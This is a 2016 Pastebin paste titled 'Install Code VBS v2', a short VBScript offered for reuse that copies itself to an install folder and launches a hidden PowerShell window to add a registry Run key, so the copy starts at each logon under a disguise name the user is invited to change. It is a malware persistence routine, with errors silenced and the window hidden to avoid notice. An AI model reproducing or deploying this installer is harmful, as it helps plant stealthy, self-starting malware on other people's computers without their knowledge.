Advertisement
rakanturki12222

Install Code VBS v2

Aug 9th, 2016
409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. on error resume Next
  2. Dim A
  3. A = "powershell -windowstyle hidden ( New-ItemProperty -Path " & """" & "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" & """" & " -Name " & """" & "$NAME$" & """" & " -Value " & """" & "$PATH$" & """" & " )"
  4. Set B = CreateObject("Wscript.shell")
  5. Set C = CreateObject("Scripting.FileSystemObject")
  6. PATH = installdir & installname
  7. NAME = "Change This To Anything u want :)"
  8. C.copyfile wscript.scriptfullname,installdir & installname,true
  9. A = replace(replace(A,"$PATH$",PATH),"$NAME$",NAME)
  10. B.Run A,0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement